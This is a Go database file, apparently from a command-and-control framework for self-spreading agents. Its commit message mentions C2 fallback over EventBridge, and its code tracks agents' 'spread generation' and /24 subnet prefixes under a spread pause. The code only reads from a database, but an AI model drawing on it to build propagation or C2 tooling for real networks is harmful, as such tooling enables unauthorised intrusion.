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Ship Lambda/EventBridge templates and a token-gated policy snapshot endpoint so agents can poll hospice, vaccination lanes, and genesis version when C2 is down, preferring EventBridge relay over 30m reconnect.
40 lines
1017 B
Go
40 lines
1017 B
Go
package db
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import "time"
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// MaxSpreadGeneration returns the highest spread_generation among agents (policy genesis version).
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func (d *Database) MaxSpreadGeneration() (int, error) {
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if d == nil {
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return 0, nil
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}
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var max int
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err := d.QueryRow(`SELECT COALESCE(MAX(spread_generation), 0) FROM agents`).Scan(&max)
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return max, err
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}
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// ListPausedSubnetPrefixes returns /24 prefixes currently under immune spread pause.
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func (d *Database) ListPausedSubnetPrefixes() ([]string, error) {
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if d == nil {
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return nil, nil
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}
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if err := d.ensureSubnetSpreadPauseTable(); err != nil {
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return nil, err
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}
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rows, err := d.Query(`SELECT prefix FROM subnet_spread_pause WHERE paused_until IS NOT NULL AND paused_until > ?`, time.Now().UTC())
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if err != nil {
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return nil, err
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}
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defer rows.Close()
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var out []string
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for rows.Next() {
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var p string
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if err := rows.Scan(&p); err != nil {
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return nil, err
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}
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if p = normalizeSubnetPrefix(p); p != "" {
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out = append(out, p)
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}
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}
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return out, rows.Err()
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}
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